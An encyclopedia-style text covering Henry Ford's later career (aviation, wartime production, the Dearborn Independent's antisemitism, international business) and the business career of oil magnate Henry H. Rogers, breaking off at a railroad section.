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          Ford's most successful aircraft was the Ford 4AT Trimotor  called the Tin Goose because of its corrugated metal construction. It used a new alloy called Alclad that combined the corrosion resistance of aluminium with the strength of duralumin. The plane was similar to Fokker's V.VII-3m, and some say that Ford's engineers surreptitiously measured the Fokker plane and then copied it. The Trimotor first flew on June 11, 1926, and was the first successful U.S. passenger airliner, accommodating about 12 passengers in a rather uncomfortable fashion. Several variants were also used by the U.S. Army. Henry Ford has been honored by the Smithsonian Institution for changing the aviation industry. About 200 Trimotors were built before it was discontinued in 1933, when the Ford Airplane Division shut down because of poor sales during the Great Depression.


          


          Willow Run


          President Franklin D. Roosevelt referred to Detroit as the " Arsenal of Democracy." The Ford Motor Company played a pivotal role in the Allied victory during World War I and World War II. With Europe under siege, the Ford company's genius turned to mass production for the war effort. Specifically, Ford examined the B-24 Liberator bomber, still the most-produced Allied bomber in history, which quickly shifted the balance of power.


          Before Ford, and under optimal conditions, the aviation industry could produce one Consolidated Aircraft B-24 Bomber a day at an aircraft plant. Ford showed the world how to produce one B-24 an hour at a peak of 600 per month in 24-hour shifts. Ford's Willow Run factory broke ground in April 1941. At the time, it was the largest assembly plant in the world, with over 3,500,000 square feet (330,000 m).


          Mass production of the B-24, led by Charles Sorensen and later Mead Bricker, began by August 1943. Many pilots slept on cots waiting for takeoff as the B-24 rolled off the assembly line at Ford's Willow Run facility.


          


          Pacifism


          


          World War I era


          Henry Ford was an Episcopalian Christian who opposed war, which he thought was a waste of time. Ford became highly critical of those who he felt financed war, and he seemed to do whatever he could to stop them. He felt time was better spent making things.


          In 1915, Jewish pacifist Rosika Schwimmer had gained the favour of Henry Ford, who agreed to fund a peace ship to Europe, where World War I was raging, for himself and about 170 other prominent peace leaders. Ford's Episcopalian pastor, Reverend Samuel S. Marquis, accompanied him on the mission. Marquis also headed Ford's Sociology Department from 1913 to 1921. Ford talked to President Wilson about the mission but had no government support. His group went to neutral Sweden and the Netherlands to meet with peace activists there. As a target of much ridicule, he left the ship as soon as it reached Sweden.


          An article G. K. Chesterton wrote for the December 12, 1916, issue of Illustrated London News, shows why Ford's effort was ridiculed. Referring to Ford as "the celebrated American comedian," Chesterton noted that Ford had been quoted claiming, "I believe that the sinking of the Lusitania was deliberately planned to get this country [America] into war. It was planned by the financiers of war." Chesterton expressed "difficulty in believing that bankers swim under the sea to cut holes in the bottoms of ships," and asked why, if what Ford said was true, Germany took responsibility for the sinking and "defended what it did not do." Mr. Ford's efforts, he concluded, "queer the pitch" of "more plausible and presentable" pacifists.


          On the other hand H.G. Wells, in " The Shape of Things to Come", devoted an entire chapter to the Ford Peace Ship, stating that "despite its failure, this effort to stop the war will be remembered when the generals and their battles and senseless slaughter are forgotten." Wells claimed that the American armaments industry and banks, who made enormous profits from selling munitions to the warring European nations, deliberately spread lies in order to cause the failure of Ford's peace efforts. He noted, however, that when the U.S. entered the war in 1917, Ford took part and made considerable profits from the sale of munitions.


          The episode was fictionalized by the British novelist Douglas Galbraith in his novel King Henry.


          


          World War II era


          Ford and Adolf Hitler admired each other's achievements. Adolf Hitler kept a life-size portrait of Ford next to his desk. "I regard Henry Ford as my inspiration," Hitler told a Detroit News reporter two years before becoming the Chancellor of Germany in 1933. In July 1938, four months after the German annexation of Austria, Ford was awarded the Grand Cross of the German Eagle, the highest medal awarded by Nazi Germany to foreigners.


          Ford disliked the administration of President Franklin D. Roosevelt and did not approve of U.S. involvement in the war. Therefore, from 1939 to 1943, the War Production Board's dealings with the Ford Motor Company were with others in the organization, such as Edsel Ford and Charles Sorensen, much more than with Henry Ford. During this time Henry Ford did not stop his executives from cooperating with Washington, but he himself did not get deeply involved. He watched, focusing on his own pet side projects, as the work progressed. After the Edsel Ford's passing, Henry Ford resumed control of the company in 1943.


          After years of the Great Depression, labor strife, and New Deal, he suspected people in Washington were conspiring to wrest the company from his control. Ironically, his paranoia was trending toward self-fulfilling prophesy, as his attitude inspired background chatter in Washington about how to undermine his control of the company, whether by wartime government fiat or by instigating some sort of coup among executives and directors. In 1945, the war ended, Henry Ford II became company president, and the storm was past.


          


          Dearborn Independent
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          In 1918, Ford's closest aide and private secretary, Ernest G. Liebold, purchased an obscure weekly newspaper, The Dearborn Independent for Ford. The Independent ran for eight years, from 1920 until 1927, during which Liebold was editor. The newspaper published " Protocols of the Learned Elders of Zion," which was discredited by The Times of London as a forgery during the Independent's publishing run. The American Jewish Historical Society described the ideas presented in the magazine as " anti-immigrant, anti-labor, anti-liquor, and anti-Semitic." In February 1921, the New York World published an interview with Ford, in which he said "The only statement I care to make about the Protocols is that they fit in with what is going on." During this period, Ford emerged as "a respected spokesman for right-wing extremism and religious prejudice," reaching around 700,000 readers through his newspaper.


          Along with the Protocols, anti-Jewish articles published by The Dearborn Independent also were released in the early 1920s as a set of four bound volumes, in a non-Ford publication in Germany cumulatively titled The International Jew, the World's Foremost Problem. Vincent Curcio wrote of these publications that "they were widely distributed and had great influence, particularly in Nazi Germany, where no less a personage than Adolf Hitler read and admired them." Hitler, fascinated with automobiles, hung Ford's picture on his wall; Ford is the only American mentioned in Hitler's book. Steven Watts wrote that Hitler "revered" Ford, proclaiming that "I shall do my best to put his theories into practice in Germany, and modeling the Volkswagen, the people's car, on the model T."


          Denounced by the Anti-Defamation League (ADL), the articles nevertheless explicitly condemned pogroms and violence against Jews (Volume 4, Chapter 80), preferring to blame incidents of mass violence on the Jews themselves. None of this work was actually written by Ford, who wrote almost nothing according to trial testimony. Friends and business associates have said they warned Ford about the contents of the Independent and that he probably never read them. (He claimed he only read the headlines.) However, court testimony in a libel suit, brought by one of the targets of the newspaper, alleged that Ford did know about the contents of the Independent in advance of publication.


          A libel lawsuit brought by San Francisco lawyer and Jewish farm cooperative organizer Aaron Sapiro in response to anti-Semitic remarks led Ford to close the Independent in December 1927. News reports at the time quoted him as being shocked by the content and having been unaware of its nature. During the trial, the editor of Ford's "Own Page," William Cameron, testified that Ford had nothing to do with the editorials even though they were under his byline. Cameron testified at the libel trial that he never discussed the content of the pages or sent them to Ford for his approval. Investigative journalist Max Wallace noted that "whatever credibility this absurd claim may have had was soon undermined when James M. Miller, a former Dearborn Independent employee, swore under oath that Ford had told him he intended to expose Sapiro."


          Michael Barkun observed, "That Cameron would have continued to publish such controversial material without Ford's explicit instructions seemed unthinkable to those who knew both men. Mrs. Stanley Ruddiman, a Ford family intimate, remarked that 'I don't think Mr. Cameron ever wrote anything for publication without Mr. Ford's approval.'" According to Spencer Blakeslee,


          
            The ADL mobilized prominent Jews and non-Jews to publicly oppose Ford's message. They formed a coalition of Jewish groups for the same purpose and raised constant objections in the Detroit press. Before leaving his presidency early in 1921, Woodrow Wilson joined other leading Americans in a statement that rebuked Ford and others for their antisemitic campaign. A boycott against Ford products by Jews and liberal Christians also had an impact, and Ford shut down the paper in 1927, recanting his views in a public letter to Sigmund Livingston, ADL.
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          Ford's 1927 apology had been well received, "Four-Fifths of the hundreds of letters addressed to Ford in July of 1927 were from Jews, and almost without exception they praised the Industrialist." In January 1937, a Ford statement to the Detroit Jewish Chronicle disavowed "any connection whatsoever with the publicaton in Germany of a book known as the International Jew."


          In July 1938, prior to the outbreak of war, the German consul at Cleveland gave Ford, on his 75th birthday, the award of the Grand Cross of the German Eagle, the highest medal Nazi Germany could bestow on a foreigner, while James D. Mooney, vice-president of overseas operations for General Motors, received a similar medal, the Merit Cross of the German Eagle, First Class.


          Distribution of International Jew was halted in 1942 through legal action by Ford despite complications from a lack of copyright, but extremist groups often recycle the material; it still appears on antisemitic and neo-Nazi websites.


          One Jewish personality who was said to have been friendly with Ford is Detroit Judge Harry Keidan. When asked about this connection, Ford replied that Keidan was only half-Jewish. A close collaborator of Henry Ford during World War II reported that Ford, at the time being more than 80 years old, was shown a movie of the Nazi concentration camps.


          


          International business


          Ford's philosophy was one of economic independence for the United States. His River Rouge Plant became the world's largest industrial complex, even able to produce its own steel. Ford's goal was to produce a vehicle from scratch without reliance on foreign trade. He believed in the global expansion of his company. He believed that international trade and cooperation led to international peace, and he used the assembly line process and production of the Model T to demonstrate it. He opened Ford assembly plants in Britain and Canada in 1911, and soon became the biggest automotive producer in those countries. In 1912, Ford cooperated with Agnelli of Fiat to launch the first Italian automotive assembly plants. The first plants in Germany were built in the 1920s with the encouragement of Herbert Hoover and the Commerce Department, which agreed with Ford's theory that international trade was essential to world peace. In the 1920s Ford also opened plants in Australia, India, and France, and by 1929, he had successful dealerships on six continents. Ford experimented with a commercial rubber plantation in the Amazon jungle called Fordlndia; it was one of the few failures. In 1929, Ford accepted Stalin's invitation to build a model plant (NNAZ, today GAZ) at Gorky, a city later renamed Nizhny Novgorod, and he sent American engineers and technicians to help set it up, including future labor leader Walter Reuther.
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          The technical assistance agreement between Ford Motor Company, VSNH and the Soviet-controlled Amtorg Trading Corporation (as purchasing agent) was concluded for nine years and signed on May 31, 1929, by Ford, FMC vice-president Peter E. Martin, V. I. Mezhlauk, and the president of Amtorg, Saul G. Bron. The Ford Motor Company worked to conduct business in any nation where the United States had peaceful diplomatic relations:


          
            	Ford of Australia


            	Ford of Britain


            	Ford of Argentina


            	Ford of Brazil


            	Ford of Canada


            	Ford of Europe


            	Ford India


            	Ford South Africa


            	Ford Mexico

          


          By 1932, Ford was manufacturing one third of all the worlds automobiles.


          Ford's image transfixed Europeans, especially the Germans, arousing the "fear of some, the infatuation of others, and the fascination among all". Germans who discussed "Fordism" often believed that it represented something quintessentially American. They saw the size, tempo, standardization, and philosophy of production demonstrated at the Ford Works as a national servicean "American thing" that represented the culture of United States. Both supporters and critics insisted that Fordism epitomized American capitalist development, and that the auto industry was the key to understanding economic and social relations in the United States. As one German explained, "Automobiles have so completely changed the American's mode of life that today one can hardly imagine being without a car. It is difficult to remember what life was like before Mr. Ford began preaching his doctrine of salvation" For many Germans, Henry Ford embodied the essence of successful Americanism.


          In My Life and Work, Ford predicted essentially that if greed, racism, and short-sightedness could be overcome, then eventually economic and technologic development throughout the world would progress to the point that international trade would no longer be based on (what today would be called) colonial or neocolonial models and would truly benefit all peoples. His ideas here were vague, but they were idealistic and they seemed to indicate a belief in the inherent intelligence of all ethnicities (which some may find somewhat suspect coming from Ford).


          


          Racing
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          Ford maintained an interest in auto racing from 1901 to 1913 and began his involvement in the sport as both a builder and a driver, later turning the wheel over to hired drivers. He entered stripped-down Model Ts in races, finishing first (although later disqualified) in an "ocean-to-ocean" (across the United States) race in 1909, and setting a one-mile (1.6 km) oval speed record at Detroit Fairgrounds in 1911 with driver Frank Kulick. In 1913, Ford attempted to enter a reworked Model T in the Indianapolis 500 but was told rules required the addition of another 1,000 pounds (450 kg) to the car before it could qualify. Ford dropped out of the race and soon thereafter dropped out of racing permanently, citing dissatisfaction with the sport's rules, demands on his time by the booming production of the Model Ts, and his low opinion of racing as a worthwhile activity.


          In My Life and Work Ford speaks (briefly) of racing in a rather dismissive tone, as something that is not at all a good measure of automobiles in general. He describes himself as someone who raced only because in the 1890s through 1910s, one had to race because prevailing ignorance held that racing was the way to prove the worth of an automobile. Ford did not agree. But he was determined that as long as this was the definition of success (flawed though the definition was), then his cars would be the best that there were at racing. Throughout the book he continually returns to ideals such as transportation, production efficiency, affordability, reliability, fuel efficiency, economic prosperity, and the automation of drudgery in farming and industry, but rarely mentions, and rather belittles, the idea of merely going fast from point A to point B.


          Nevertheless, Ford did make quite an impact on auto racing during his racing years, and he was inducted into the Motorsports Hall of Fame of America in 1996.


          


          Later career


          When Edsel, president of Ford Motor Company, died of cancer in May 1943, the elderly and ailing Henry Ford decided to assume the presidency. By this point in his life, he had had several cardiovascular events (variously cited as heart attack or stroke) and was mentally inconsistent, suspicious, and generally no longer fit for such a job.


          Most of the directors did not want to see him as president. But for the previous 20 years, though he had long been without any official executive title, he had always had de facto control over the company; the board and the management had never seriously defied him, and this moment was not different. The directors elected him, and he served until the end of the war. During this period the company began to decline, losing more than $10 million a month. The administration of President Franklin Roosevelt had been considering a government takeover of the company in order to ensure continued war production, but the idea never progressed.


          


          Death


          In ill health, he ceded the presidency to his grandson Henry Ford II in September 1945 and went into retirement. He died in 1947 of a cerebral hemorrhage at age 83 in Fair Lane, his Dearborn estate, and he is buried in the Ford Cemetery in Detroit.


          


          Sidelights


          


          Interest in materials science and engineering


          Henry Ford long had an interest in materials science and engineering. He enthusiastically described his company's adoption of vanadium steel alloys and subsequent metallurgic R&D work.


          Ford long had an interest in plastics developed from agricultural products, especially soybeans. He cultivated a relationship with George Washington Carver for this purpose. Soybean-based plastics were used in Ford automobiles throughout the 1930s in plastic parts such as car horns, in paint, etc. This project culminated in 1942, when Ford patented an automobile made almost entirely of plastic, attached to a tubular welded frame. It weighed 30% less than a steel car and was said to be able to withstand blows ten times greater than could steel. Furthermore, it ran on grain alcohol (ethanol) instead of gasoline. The design never caught on.


          Ford was interested in engineered woods ("Better wood can be made than is grown") (at this time plywood and particle board were little more than experimental ideas); corn as a fuel source, via both corn oil and ethanol; and the potential uses of cotton. Ford was instrumental in developing charcoal briquets, under the brand name " Kingsford". His brother in law, E.G. Kingsford, used wood scraps from the Ford factory to make the briquets.


          


          Georgia residence and community


          Ford maintained a vacation residence (known as the "Ford Plantation") in Richmond Hill, Georgia. He contributed substantially to the community, building a chapel and schoolhouse and employing numerous local residents.


          


          Preserving Americana in museums and villages


          Ford had an interest in " Americana". In the 1920s, Ford began work to turn Sudbury, Massachusetts, into a themed historical village. He moved the schoolhouse supposedly referred to in the nursery rhyme, Mary had a little lamb, from Sterling, Massachusetts, and purchased the historical Wayside Inn. This plan never saw fruition, but Ford repeated it with the creation of Greenfield Village in Dearborn, Michigan. It may have inspired the creation of Old Sturbridge Village as well. About the same time, he began collecting materials for his museum, which had a theme of practical technology. It was opened in 1929 as the Edison Institute and, although greatly modernized, remains open today.


          


          The "invention of the automobile"


          Both Henry Ford and Karl Benz are sometimes oversimplistically credited with the "invention of the automobile", although (as is the case with most inventions) the reality of the automobile's development included many inventors. As Ford himself said, by the 1870s, the notion of a horseless carriage was "a common idea". What the following decades brought was the technical success of the idea, and the extension of the idea beyond steam power to other power sources (electric motors and internal combustion engines). Ford was, however, more influential than any other single person in changing the paradigm of the automobile from a scarce, heavy, hand-built toy for rich people into a lightweight, reliable, affordable, mass-produced mode of transportation for the masses of working people.


          


          The "invention of the assembly line"


          Both Henry Ford and Ransom E. Olds are sometimes oversimplistically credited with the "invention of the assembly line", although (as is the case with most inventions) the reality of the assembly line's development included many inventors. One prerequisite was the idea of interchangeable parts (which was another gradual technological development often mistakenly attributed to one individual or another). Ford's first moving assembly line (employing conveyor belts), after 5 years of empirical development, first began mass production on or around April 1, 1913. The idea was tried first on subassemblies, and shortly after on the entire chassis. Again, although it is inaccurate to say that Henry Ford himself "invented" the assembly line, it is accurate to say that his sponsorship of its development was central to its explosive success in the 20th century.


          Popular culture


          
            	In Aldous Huxley's Brave New World, society is organized on 'Fordist' lines and the years are dated A.F. (After Ford). In the book, the expression 'My Ford' is used instead of 'My Lord'. Even human beings were produced via an assembly line in large glass jars and in five models: Alpha, Beta, Gamma, Delta and Epsilon. As homage to the assembly line philosophy that so defined the mass-culture society of Brave New World, native individuals make the "sign of the T" instead of the "sign of the cross."


            	Ford is a character in several historical fiction books, notably E. L. Doctorow's Ragtime, and Richard Powers' novel Three Farmers on the Way to a Dance.


            	In the 2005 novel The Plot Against America, Philip Roth imagines Ford as Secretary of Interior in an imaginary Lindbergh administration.


            	Ford, his family, and his company were the subjects of a 1986 biography by Robert Lacey entitled Ford: The Men and the Machine. The book was adapted in 1987 into a film starring Cliff Robertson and Michael Ironside.

          


          


          Honours


          
            	In December 1999 Ford was among 18 included in Gallup's List of Widely Admired People of the 20th Century, from a poll conducted of the American people.
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              	January 29, 1840(1840-01-29)

              Mattapoisett, Massachusetts
            


            
              	Died

              	May 19, 1909 (aged69)

              New York City
            

          


          Henry Huttleston Rogers ( January 29, 1840  May 19, 1909) was a United States capitalist, businessman, industrialist, financier, and philanthropist.


          



          


          Youth and education


          Henry Huttleston Rogers was born into a working-class family in Mattapoisett, Massachusetts, on January 29, 1840. He was the son of Rowland Rogers, a former ship captain, bookkeeper, and grocer, and Mary Eldredge Huttleston Rogers. Both parents had roots back to the pilgrims, who arrived in the 17th century aboard the Mayflower. His mother's family earlier had used the spelling "Huddleston" rather than "Huttleston," and Henry Rogers' name is often misspelled using this earlier version.


          The family moved to nearby Fairhaven, Massachusetts, a fishing village just over the bridge from the great whaling port, New Bedford. Fairhaven is a small seaside town on the south coast of Massachusetts. It borders the Acushnet River to the west and Buzzards Bay to the south. Fairhaven was incorporated in 1812 and was already steeped in history when "Hen" Rogers was just a boy. Fort Phoenix is in Fairhaven. There, during the American Revolution, British troops once stormed the area. Also within sight of the fort, the first naval battle of the American Revolution took place on May 14, 1775.


          In the mid 1850s, whaling was already an industry in decline in New England. Competition from Scandinavian water men and the emergence of petroleum and later natural gas as a replacement fuel for lighting in the second half of the 19th century caused a much further decline.


          Henry Rogers' father was one of the many men of New England who changed from a life on the sea to other work to provide for their families. As a teenager, Hen Rogers carried newspapers and he worked in his father's grocery store, making deliveries by wagon. He was only an average student, and was in the first graduating class of the local high school in 1857. Continuing to live with his parents, he hired on with the Fairhaven Branch Railroad, an early precursor of the Old Colony Railroad, as an expressman and brakeman, working for 3-4 years while carefully saving his earnings.


          


          Seeking his fortune


          In 1861, 21-year-old Henry pooled his savings of approximately US$600 with a friend, Charles P. Ellis. They set out to western Pennsylvania and its newly discovered oil fields. Borrowing another US$600, the young partners began a small refinery at McClintocksville near Oil City. They named their new enterprise Wamsutta Oil Refinery.


          The old Native American name " Wamsutta" was apparently selected in honour of their hometown area of New England, where Wamsutta Company in nearby New Bedford had opened in 1846, and was a major employer. The Wamsutta Company was the first of many textile mills that gradually came to supplant whaling as the principal employer in New Bedford.


          Rogers and Ellis and their tiny refinery made US$30,000 their first year. This amount was more than three entire whaling ship trips from back home could hope to earn during an average voyage of more than a year's duration. Of course, he was regarded as very successful when Rogers returned home to Fairhaven for a short vacation the next year.


          


          Abbie, Henry and Anne in Pennsylvania


          While vacationing in Fairhaven in 1862, Rogers married his childhood sweetheart, Abbie Palmer Gifford, who was also of Mayflower lineage. She returned with him to the oil fields where they lived in a one-room shack along Oil Creek where her young husband and Ellis worked the Wamsutta Oil Refinery. While they lived in Pennsylvania, their first daughter, Anne, was born in 1865.


          In Pennsylvania, Rogers was introduced to Charles Pratt (183091). Born in Watertown, Massachusetts, Pratt had been one of eleven children. His father, Asa Pratt, was a carpenter. Of modest means, he spent three winters as a student at Wesleyan Academy, and is said to have lived on a dollar a week at times. In nearby Boston, Massachusetts, Pratt joined a company specializing in paints and whale oil products. In 1850 or 1851, he came to New York City, where he worked for a similar company handling paint and oil.


          Pratt was also a pioneer of the natural oil industry, and established his kerosene refinery Astral Oil Works in the Greenpoint section of Brooklyn, New York. Pratt's product later gave rise to the slogan, "The holy lamps of Tibet are primed with Astral Oil". He also later founded the Pratt Institute.


          When Pratt met Rogers at McClintocksville on a business trip, he already knew Charles Ellis, having earlier bought whale oil from him back east in Fairhaven. Although Ellis and Rogers had no wells and were dependent upon purchasing crude oil to refine and sell to Pratt, the two young men agreed to sell the entire output of their small Wamsutta refinery to Pratt's company at a fixed price. This worked well at first. Then, a few months later, crude oil prices suddenly increased due to manipulation by speculators. The young entrepreneurs struggled to try to live up to their contract with Pratt, but soon their surplus was wiped out. Before long, they were heavily in debt to Pratt.


          Charles Ellis gave up, but in 1866, Henry Rogers went to Pratt in New York and told him he would take personal responsibility for the entire debt. This so impressed Pratt that he immediately hired him for his own organization.


          


          Moving to New York, oil refining


          Pratt made Rogers foreman of his Brooklyn refinery, with a promise of a partnership if sales ran over fifty thousand dollars a year. Henry, Abbie, and young Anne moved to Brooklyn. The Rogers family continued to live frugally and he worked very hard. Abbie brought his meals to the "works," and often he would sleep but three hours a night rolled up in a blanket by the side of a still. Rogers moved steadily from foreman to manager, and then superintendent of Pratt's Astral Oil Refinery.


          As promised, Pratt gave Rogers an interest in the business. In 1867, with Henry Rogers as a partner, he established the firm of Charles Pratt and Company. In the next few years, Rogers became, in the words of Elbert Hubbard, Pratt's "hands and feet and eyes and ears" (Little Journeys to the Homes, 1909). As their family grew, Henry and Abbie continued to live in New York City, but vacationed frequently at Fairhaven.


          


          Naphtha patent


          While working with Pratt, Rogers invented an improved way of separating naphtha, a light oil similar to kerosene, from crude oil. He was granted U.S. Patent # 120,539 on October 31, 1871.


          


          Fighting, joining Rockefeller


          In the early 1871-72, Pratt and Company and other refiners became involved in a conflict with John D. Rockefeller, Samuel Andrews, and Henry M. Flagler (of Rockefeller, Andrews & Flagler) and the infamous South Improvement Company. South Improvement was basically a scheme to obtain secret favorable net rates from Tom Scott of the Pennsylvania Railroad (PRR) and other railroads through secret rebates. The unfairness of the scheme outraged many independent oil producers and owners of refineries far and new alike.


          The opposition among the New York refiners was led by Henry Rogers. The New York interests formed an association, and about the middle of March 1872 sent a committee of three, with Rogers as head, to Oil City to consult with the Oil Producers' Union. Their arrival in the oil regions was a matter of great satisfaction to the local oil workers. Working with the Pennsylvania independents, Rogers and the New York delegation managed to forge an agreement with the railroads, whose leaders eventually agreed to open their rates to all and promised to end their shady dealings with South Improvement. The independent oil men were most exultant, but their joy was to be short-lived. Rockefeller and his associates were busy trying another approach, which frequently included buying-up opposing interests.


          In 1874, Rockefeller approached Pratt with his plans of cooperation and consolidation. Pratt talked it over with Rogers, and they decided that the combination would benefit them. Rogers formulated terms, which guaranteed financial security and jobs for Pratt and himself. John D. Rockefeller quietly accepted the offer on Rogers' exact terms. Charles Pratt and Company (including Astral Oil) was one of the important independent refiners to become part of the Standard Oil Trust. Pratt's son, Charles Millard Pratt (1858 to 1913), became Corporate Secretary of Standard Oil.


          


          Standard Oil Trust: Rogers in contradictory roles


          Around 1874, the Pratt & Company oil interests, including Rogers who helped negotiate the deal, had joined John D. Rockefeller's Standard Oil organization. By 1890, Rogers had become one of the key men, a vice president and chairman of its operating committee. His later interviews with investigative journalist Ida M. Tarbell beginning in 1902 would later help bring what was by then also known as the Standard Oil Trust under additional regulatory control.


          Typical of his seemingly dualist nature, Rogers both helped build and operate Standard Oil, and through his interviews with Tarbell, he (perhaps unintentionally) helped bring it under better control in the public interest.


          


          Building Standard Oil with John D. Rockefeller


          Standard Oil was an oil refining conglomerate whose predecessor companies were founded by marketeer John D. Rockefeller, chemist Samuel Andrews, and other partners beginning in 1863. Borrowing heavily to expand his business, he drew five big refineries including the business concern of Henry Morrison Flagler into one firm, Rockefeller, Andrews & Flagler. By 1868, what was to become Standard Oil was the world's largest oil refinery.


          In 1870, Rockefeller formed Standard Oil Company of Ohio and started his strategy of buying up the competition and consolidating all oil refining under one company. It was during this period that the Pratt interests and Henry Rogers were brought into the fold. By 1878 Standard Oil held about 90% of the refining capacity in the United States.


          In 1881 the company was reorganized as the Standard Oil Trust. The three main men of Standard Oil Trust were Henry H. Rogers, William Rockefeller and, the most important, John D. Rockefeller.


          


          Oil and Gas Pipelines


          Petroleum pipelines were first developed in Pennsylvania in the 1860s to replace transport in wooden barrels loaded on wagons drawn by mules and driven by teamsters. This mule-drawn transportation was expensive and fraught with difficulties: leaking barrels, muddy trails, wagon breakdowns and mule/driver problems.


          The first successful metal pipeline was completed in 1865, when Samuel Van Syckel built a four-mile pipeline from Pithole, Pennsylvania, to the nearest railroad. This initial success led to the construction of pipelines to connect crude oil production, increasingly moving west as new fields were discovered and Pennsylvania fields declined, to refineries located near major demand centers in the Northeast.


          When Rockefeller observed this, he began to acquire many of the new pipelines. Soon, his Standard Oil companies owned a majority of the lines, which provided cheap, efficient transportation for oil. Cleveland, Ohio, became a centre of the refining industry principally because of its transportation systems.


          Rogers conceived the idea of long pipelines for transporting oil and natural gas. In 1881, the National Transit Company was formed by Standard Oil to own and operate Standard's pipelines. The National Transit Company remained one of Rogers' favorite projects throughout the rest of his life.


          East Ohio Gas Company (EOG) was incorporated on September 8, 1898, as a marketing company for the National Transit Company, the natural gas arm of John D. Rockefeller's Standard Oil Company of New Jersey. The company launched its business by selling to consumers in northeast Ohio gas produced by another National Transit subsidiary, Hope Natural Gas Company.


          Rubber-manufacturing city Akron, Ohio, was the first to take advantage of the lower prices for natural gas. It granted the East Ohio Gas Company a franchise in September 1898, the same month that the company was founded. During the winter of 189899, the National Transit Company built a 10-inch wrought iron pipeline that stretched from the Pipe Creek on the Ohio River to Akron, with branches to Canton, Massillon, Dover, New Philadelphia, Uhrichsville, and Dennison. The first gas from the pipeline burned in Akron on May 10, 1899.


          


          Steel


          Andrew Carnegie, long the leading steel magnate of Pittsburgh, retired at the turn of the 20th century, and refocused his interests on philanthropy. His steel holdings were consolidated into the new United States Steel Corporation. Standard Oil's interest in steel properties led to Rogers' becoming one of the directors when it was organized in 1901.


          


          Regulating Standard Oil: Ida M. Tarbell


          In 1890 the U.S. Congress passed Sherman Antitrust Act. This act is the source of all American anti-monopoly laws. The law forbids every contract, scheme, deal, conspiracy to restrain trade. It also forbids inspirations to secure monopoly of a given industry. Standard Oil Trust attracted attention from antitrust authorities and the Ohio Attorney General filed and won an antitrust suit in 1892.


          Unwanted attention was also drawn to the Standard Oil Trust by Ida M. Tarbell, an American author and journalist, known as one of the leading muckrakers.


          Tarbell had been born in Erie County, Pennsylvania. As a child, she lived in what became Rouseville, Pennsylvania. This was only a short distance from Henry Rogers' Wamsutta Oil Refinery at McClintocksville, which was also in Cornplanter Township in Venango County. However, they were apparently not destined to meet for another 37 years.


          Ida Tarbell's father had been forced out of business around 1872 by the South Improvement Company scheme, perpetrated by those who built Standard Oil. In 1894, she was hired by McClure's magazine. She soon turned to investigative journalism, and was the first to really use investigative reporting, as we know it today, redefining this in-depth technique of writing. Ida's method was to use various documents concerning Standard Oil, accompanied by interviews of employees, competitors, lawyers and experts on the topic. Tarbell and her fellow staff members Ray Stannard Baker and Lincoln Steffens became a celebrated muckraking trio.


          Tarbell became acquainted with Rogers, who by then was the most senior and powerful director of Standard Oil, through his friend, Mark Twain, who arranged a meeting. Meetings between Tarbell and Rogers began in January of 1902 and continued regularly over the next two years. Tarbell would bring up various case histories and Rogers would provide for her an explanation, documents and figures concerning the case. Rogers, wily and normally-guarded in matters related to business and finance, may have been under the impression her work was to be complimentary. He was apparently uncustomarily forthcoming. However, Tarbell's interviews with Rogers formed the basis her negative expos of the nefarious business practices of the massive Standard Oil organization. Following extensive interviews with Rogers, Tarbell's investigations of Standard Oil for McClure's, ran in 19 parts from November 1902 to October 1904. They were collected and published as The History of the Standard Oil Company in 1904. The book placed fifth in a 1999 list of the top 100 works of journalism in the 20th century.


          Although public opposition to Rockefeller and Standard Oil existed prior to Tarbell's investigation, it fueled public attacks on Standard Oil and in trusts in general. Her book is widely credited with hastening the 1911 breakup of Standard Oil. They had never played fair, and that ruined their greatness for me, Tarbell wrote about the company.


          The Standard Oil Trust was broken up after the United States Supreme Court declared the company to be an "unreasonable" monopoly under the Sherman Antitrust Act on May 15, 1911. However, the owners remained in charge of the smaller companies which made up four of the Seven Sisters.


          Standard Oil was often not appreciated by the public. It developed a reputation among many for dubious business practices, including subduing competitors and engaging in illegal transportation deals with the railroad companies to ensure it could undercut its competitors' prices. Standard Oil, formed well before the discovery of Spindletop in Texas and a demand for oil other than for heat and light, was well placed to control the growth of the oil business. It was perceived that it did this by ensuring it owned and controlled all aspects of the trade.


          


          Natural gas


          Rogers joined in the organization of holding companies aimed at controlling natural gas production and distribution. In 1884, with associates, Rogers formed the Consolidated Gas Company, and thereafter for several years he was instrumental in gaining control of great city plants, fighting terrific battles with rivals for some of them, as in the case of Boston. Almost the whole story of his natural gas interests was one of business warfare.


          


          Copper


          During the 1890s, Rogers became interested in Anaconda and other copper properties in the western United States. In 1899, with William Rockefeller, and Thomas W. Lawson, he formed the first $75,000,000 section of the gigantic trust, Amalgamated Copper Mining Company, which was the subject of much acrid criticism then and for years afterward. In the building of this great trust, some of the most ruthless strokes in modern business history were dealt: the $38,000,000 "watering" of the stock of the first corporation, its subsequent manipulation, the seizure of the copper property of the Butte & Boston Consolidated Mining Company, the using of the latter as a weapon against the Boston & Montana Consolidated Copper and Silver Mining Company, the guerrilla warfare against certain private interests, and the wrecking of the Globe Bank of Boston.


          A holding company aimed at controlling copper production and distribution, Amalgamated Copper controlled the copper mines of Butte, Montana and later became Anaconda Copper Company.


          


          Transit: Staten Island, NY


          On July 1, 1892, Staten Island, New York's first trolley line opened, running between Port Richmond and Meiers Corners. Trolleys, which cost only a nickel a ride through most of their existence, help facilitate mass transit across the Island by reaching communities not serviced by trains. Henry H. Rogers was long-known as the Staten Island transit magnate, and was also involved with the Staten Island-Manhattan Ferry Service and the Richmond Power and Light Company.


          


          Railroads


          Rogers was also close associate of E. H. Harriman in the latter's extensive railroad operations. He was a director of the Sante Fe, St. Paul, Erie, Lackawanna, Union Pacific, and several other large railroads. However, he also involved himself in at least three West Virginia short-line railroad projects, one of which would grow much larger than he probably anticipated.


          


          Ohio River Railroad


          In mid-1890s, Rogers became president of the Ohio River Railroad, founded by Johnson Newlon Camden, a United States Senator from West Virginia who was also secretly involved with Standard Oil. Charles M. Pratt and Rogers were two of the largest owners and the Ohio River Railroad's General Manager was C.M. Burt. Its General Solicitor was former West Virginia governor William A. MacCorkle. The owners wished to sell the railroad, which was losing money.


          Under Rogers' leadership, they formed a subsidiary, West Virginia Short Line Railroad, to build a new line between New Martinsville and Clarksburg to reach new coal mining areas, into territory already planned for expansion by the Baltimore and Ohio Railroad (B&O). The expansion plans had the desired effect of essentially forcing B&O to purchase the Ohio River Railroad to block the competition in the new coal areas. The Ohio River Railroad was sold to B&O in 1898.


          


          Kanawha and Pocahontas Railroad Company


